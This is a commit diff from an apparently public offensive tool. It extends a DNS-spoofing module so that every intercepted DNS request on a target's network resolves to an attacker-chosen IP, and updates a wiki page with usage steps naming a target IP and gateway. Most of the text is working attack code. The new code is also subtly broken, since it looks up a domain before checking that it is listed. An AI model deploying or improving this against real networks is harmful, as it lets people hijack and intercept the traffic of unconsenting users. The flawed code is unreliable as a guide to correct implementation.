v1.2.1

n0nexist · Sep 21, 2023 · 9cbc322 · 9cbc322
1 parent 0852969
commit 9cbc322
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Showing 3 changed files with 24 additions and 6 deletions.
diff --git a/modules/dns_spoof.py b/modules/dns_spoof.py
@@ -6,6 +6,8 @@
 import json
 
 dns_hosts = {}
+allwebsitesflag = False
+redirect_to = ""
 
 def process_packet(packet):
     """ processes captured packets """
@@ -24,12 +26,18 @@ def modify_packet(packet):
     """ modifies dns packets """
 
     global dns_hosts
+    global allwebsitesflag
+    global redirect_to
+
     qname = packet[DNSQR].qname
-    if qname not in dns_hosts:
+    spoofto = dns_hosts[qname]
+    if qname not in dns_hosts and (not allwebsitesflag):
         print(f"{utils.colors.BLUE}ignoring {qname} (not on target list){utils.colors.RESET}")
         return packet
-    print(f"{utils.colors.GREEN}spoofing {qname} to {utils.colors.BLUE}{utils.colors.ITALIC}{dns_hosts[qname]}{utils.colors.RESET}")
-    packet[DNS].an = DNSRR(rrname=qname, rdata=dns_hosts[qname])
+    if allwebsitesflag:
+        spoofto = redirect_to
+    print(f"{utils.colors.GREEN}spoofing {qname} to {utils.colors.BLUE}{utils.colors.ITALIC}{spoofto}{utils.colors.RESET}")
+    packet[DNS].an = DNSRR(rrname=qname, rdata=spoofto)
     packet[DNS].ancount = 1
     del packet[IP].len
     del packet[IP].chksum
@@ -50,10 +58,19 @@ def load_targetlist(filename):
 
 def start_spoofing(recordsfile):
     """ starts spoofing dns reponses """
-
+
+    global allwebsitesflag
+    global redirect_to
+
+    allwebsitesflag = recordsfile.startswith("all_")
+
     try:
         print(f"{utils.colors.GREEN}*{utils.colors.ITALIC} starting dns spoofing attack{utils.colors.RESET}")
-        load_targetlist(recordsfile)
+        if not allwebsitesflag:
+            load_targetlist(recordsfile)
+        else:
+            redirect_to = recordsfile.split("all_")[1]
+            print(f"{utils.colors.GREEN}*{utils.colors.ITALIC} redirecting all dns requests to {utils.colors.WARNING}{redirect_to}{utils.colors.RESET}")
         queue = NetfilterQueue()
         queue.bind(0, process_packet)
         queue.run()

diff --git a/modules/utils.py b/modules/utils.py
@@ -43,7 +43,7 @@ def logo():
 
     print(f"""{colors.BOLD}{colors.BLUE}
 ___     _ _              
- | _ _ (_(_. _ _  _ |_ _    {colors.RESET}v1.2{colors.BLUE}{colors.BOLD}
+ | _ _ (_(_. _ _  _ |_ _    {colors.RESET}v1.2.1{colors.BLUE}{colors.BOLD}
  || (_|| | |(_(_|| )|_(-    {colors.RESET}by {colors.ITALIC}{colors.GREEN}{colors.UNDERLINE}n0nexist.github.io{colors.RESET}
 """)
 

diff --git a/wiki/dns-spoofing.md b/wiki/dns-spoofing.md
@@ -1,6 +1,7 @@
 # [wiki]::DNS spoofing
 <ol>
   <li>Write this to a file:<br><code>{ "mydomain.it.": "192.168.1.113", "otherdomain.com.": "192.168.1.113" }</code></li>
+  <i>(or just insert 'all_192.168.x.x' as the file name to spoof all domains)</i>
   <li>Discover your target's ip and gateway ip: you can use <a href="https://github.com/n0nexist/subdisc">subdisc</a> for this task.</li>
   <li>Run: <code>sudo python3 main.py [target ip] [gateway ip] dns records.json</code></li>
   <li>New dns requests to mydomain.it and otherdomain.com will make the target go to <code>192.168.1.113</code>,